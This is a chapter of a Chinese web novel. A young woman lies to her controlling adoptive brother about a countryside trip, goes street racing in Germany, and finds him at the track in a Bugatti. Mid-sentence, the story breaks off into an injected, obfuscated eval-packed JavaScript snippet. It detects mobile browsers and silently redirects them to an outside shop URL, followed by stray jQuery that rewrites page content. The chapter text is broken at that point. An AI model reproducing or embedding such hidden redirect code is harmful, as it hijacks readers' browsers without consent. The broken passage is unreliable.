41. 布加迪

作品:《伊卡洛斯与桥

    德国已经到了秋天,裴梦终于踏上回德的航班,只不过身边多个陈罪。Jack被陈罪从北美的某处不知名木屋放了出来,这几天好吃好喝的被伺候着,还胖了不少。


    自那天接吻过后,两人之间有种诡异的氛围。说不上好也说不上不好,裴梦明白,他们之间不止是时间和距离的问题,与其歇斯底里地要个答案,不如顺手推舟慢慢过下去。


    裴梦对她哥别墅内的不知名电话耿耿于怀,出来的第一件事就是去拜托国内的冯闯查查机主,当然,这些都没告诉陈罪就是了。


    她哥还有什么没告诉她的事,作为回报,裴梦也要瞒住他一些事。


    路程就剩十分之一。


    “再睡会儿。”陈罪把妹妹身上的毯子拉高些,声音温柔。


    裴梦迷迷糊糊地睁眼,陈罪就这样安静沉稳地靠在椅背上,发型一丝不苟,手上还带着裴梦送的新婚腕表,不过里面的字母早就变成了PM。


    裴梦当初看见陈罪欲盖弥彰在自己面前捂着表带的时候,就明白她哥在背地里干什么事儿了。


    “为什么跟来?你们做议员的,能随便出国吗?”裴梦闭着眼睛小声问道。


    “不能,我递辞呈了。”陈罪面色平静地喝咖啡,语气淡定。


    “谁管你……”裴梦话说一半才意识到刚才她哥的意思。


    刚选上就退下,这是看陈康自身难保,陈罪也想早点跑路?倒是聪明,还知道见好就收。


    “那你住哪儿?”


    裴梦把眼罩摘下,攒成一团。


    “你家。”


    “我家没地方,表嫂不是,温沐在那住。”


    “你确定吗?”


    陈罪放下咖啡杯,向裴梦挑眉微笑,裴梦看着对方得意上挑的凤眼,联想到她哥手段的卑鄙,突然有些不太好的预感。


    果然,裴梦打车回家的时候发现温沐在几天前就给她发了短信,因为当时消息太多,那条长短信早就沉底。


    ——我教授说有慈善家为中国留学生提供免费公寓,抱歉裴梦,你也知道我没钱,房间我已经转租,考察过租客,是个很好的人。和你同住的时光我很开心,祝你期末顺利。


    裴梦面无表情地回复,心想,某位不知名慈善家不会就是面前正抱着手臂,脸上写着“你怎么还不请我进去”的陈姓暴发户吧?


    太欠扁。


    裴梦扯扯嘴角,认命地拿出钥匙开门,原来她还是逃不过她哥的手掌心,姜还是老的辣。


    公寓很大,住两个人绰绰有余,不过,陈罪很龟毛,他有洁癖。


    “多久没打扫了?”陈罪抱着手臂略有嫌弃地拿手帕捂着鼻子,环视这间说大不大说小不小的房间。


    屋内是木质装修,落灰很容易被发现,进屋有一股土味。


    “你数数你关我多久就知道了。”裴梦毫不客气地从她哥手里接过行李箱,无视陈罪的吹毛求疵,拧开屋门走了进去。


    裴梦打开电脑和组员们确认过几天去考察拍摄地点的具体事宜,然后给Jack发了信息,问问他有没有事。


    Jack:如果我说,我胖了三千克,你会杀了我吗?


    DREAM:微笑是礼貌也是警告.jpg


    看起来对方没什么事,Jack也不知道为什么一觉醒来就是北美,被放出来就坐飞机回了德国,等好几天裴梦的消息,急得抓耳挠腮,就差给国际刑警打电话让他们跨国寻人。


    Jack:明天去乡下赛车吗?好久不碰有点手痒。


    其实裴梦也有点手痒,赛车带来的刺激像是精神d.p,肾上腺素飙升的快.感经历过一次就会终生难忘。


    她琢磨着拿那辆红色911去,还得把陈罪甩开,绝对不能让她哥知道。不对,又不是小时候,还怕陈罪干嘛?


    裴梦干脆利落地回了个OK。


    enter键刚发送,卧室就传来敲门声:“洗手吃饭。”


    裴梦合上笔记本,从转椅上坐起打开房门。


    客厅被收拾的井井有条,原本躺在阳台上七零八落的绿植被好好地归拢到一起,木地板也被擦得能反光,小小的餐桌上摆着三菜一汤。


    裴梦最爱吃的锅包肉,配上菠菜炖豆腐,还有一碟小菜,一盆萝卜粉丝汤。香味能直接穿透公寓吸引一大批中国留子。自从她来到国外就没闻到过这么香的饭菜。


    裴梦狐疑地看系着围裙的陈罪,男人穿着黑色衬衫,扣子解开两颗,露出白皙的锁骨,围裙正正好好地搭在身前,轻轻一系,勒紧陈罪的腰,西装裤勾勒出翘臀。


    性感的身材配上那张性冷淡的脸,一切都是恰到好处。


    裴梦咽了咽口水,不知道是被菜馋的,还是被陈罪馋的。


    “吃啊。”陈罪解下围裙,坐在裴梦对面,泰然自若地给裴梦填饭。


    裴梦耳朵红得能滴血,不知道为什么她总觉得屋子里很热,是不是她哥在屋子里下什么东西了?


    裴梦嚼着嘴里的锅包肉,看着满桌香喷喷地饭菜,几乎是鬼使神差地就汇报明天的行程:“我明天要出去一趟。”


    “嗯,去哪?”


    “乡下,去考察一下期末作业拍摄的地点。”


    “我跟你一起去。”


    “不用了,我们组员都很内向,带着你他们不太方便。”裴梦紧张得筷子都掉了一只在桌上,她还是学不会跟她哥撒谎,太拙劣太紧张了,陈罪肯定不信。


    裴梦小心翼翼地抬头观察陈罪的反应。


    陈罪的筷子停在半空中,然后出人意料地爽快答应:“嗯,好,注意安全。”


    裴梦松了一口气,看来这些年她撒谎的本事进步了点。


    一顿饭吃得很是满足,所有的菜肴都恰到好处,裴梦拍拍肚子,满意地瘫在沙发上。


    陈罪把桌面上的剩菜倒进垃圾桶,又把餐盘放进洗碗机,动作娴熟,诚然一副称职家庭主夫的模样。


    裴梦看着被倒入垃圾桶的菜肴,心里发疼,眼巴巴地望着自己的锅包肉。


    “能不能别这么浪费啊?”裴梦拿着遥控器,可怜件儿地看着故去的美食。


    “明天再做给你吃,隔夜饭菜对你胃不好。”陈罪把餐盘拿出,又用消毒湿巾仔仔细细擦了一遍。


    “好吧。”


    /


    翌日,裴梦拿着车钥匙就往外跑,陈罪做的香喷喷三明治她都没吃,兴高采烈、迫不及待地就要坐进车里。


    陈罪看着妹妹兴奋对样子什么也没说破,知裴梦莫如他,陈罪早就知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822884|186550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妹妹心里打得是什么算盘。


    他没说任何多余的话,只说了一句:“一路顺风。”


    裴梦美滋滋地换鞋出门,心想,真是借你吉言。


    Jack找的是SpreewaldringSTC小赛道,虽然比不上纽博格林北环赛道,但也是能跑,裴梦这么些天不碰,管它什么样的路,能飙车的就是好路!


    Jack早就戴着墨镜靠在法拉利的车头等待裴梦已久。裴梦穿着宽松卫衣,破洞牛仔裤,长发松散地梳成马尾,就像个18岁的高中生。


    “hey,你前男友可是害我很惨哦,看他把我害成什么样?”


    裴梦看着Jack明显胖一圈的俊脸,心想她哥这招实在是太阴了。


    她开玩笑道:“你自己管不住嘴,怪我哥干嘛?”


    Jack无奈摊手,单手拍拍法拉利,看着裴梦的眼睛,挑衅道:“来一圈?”


    裴梦抱着手臂,趾高气扬地回答:“输了别回家哭得太惨。”


    引擎发动,跑车的轰鸣声响彻赛道。今天除了裴梦他们,还有些Jack的其他朋友。


    裴梦不认识他们,她也无需认识,总之没人会和她争冠军。


    有个F1赛车手的老爸,裴梦小时候摸的第一件物件就是跑车的方向盘。


    红色保时捷一骑绝尘,已经给最末尾的车辆套了一圈,Jack的法拉利被狠狠地甩在后面。


    轰鸣声响彻云霄,裴梦嘴里嚼着口香糖,游刃有余地转弯、提速。


    没劲,毫无悬念,裴梦勾起嘴角做最后几圈的冲刺。


    正当她得意洋洋准备在通话器里狠狠嘲讽Jack时,一辆黑色布加迪呼啸而过。


    全球限量五百台的布加迪Chiron,如同一条黑色的闪电极速奔驰。


    开得这么猛,哪来的新手?


    裴梦低头无语,口香糖差点没咽进喉咙里去,Jack哪来这么牛的朋友?


    通话器里传来Jack贱贱的声音:“hey,Icarus,你们中国是不是有句古话,叫人外有人,天外有天?”


    裴梦皮笑肉不笑:“bullshit.”


    随即紧随其后,立马追上那辆布加迪。


    几乎是同时,红色的保时捷和黑色布加迪一同冲线。


    裴梦把车停稳,干净利落地关上车门,慢悠悠地走到那辆黑色布加迪面前,想看看这位跑车跑得不要命的车主究竟姓甚名谁,家住何方?


    简直开得跟玩命一样,弯道都不减速,好几次差点没失去抓地力甩出去。


    裴梦敲敲车窗玻璃,语重心长地说:“不是,哥们儿,你以后不能这么赛……”


    车窗背后的那张帅得人神共愤的脸戴着gucci的墨镜,鼻梁高挺,不是别人,正是陈罪。


    简直像见鬼了一样。


    陈罪转头,“你不是去乡下考察了吗?”


    裴梦觉得后背发凉,恐惧油然而生,她呆呆地看着陈罪从车上下来,她哥甚至穿的还是西装。


    陈罪昂着头,身着西装三件套,衣服一丝褶皱都未有,慢条斯理地低头整理袖口。


    他看向裴梦,气定神闲地俯在僵硬的妹妹耳侧,低声说:“原来小梦喜欢这样考察?”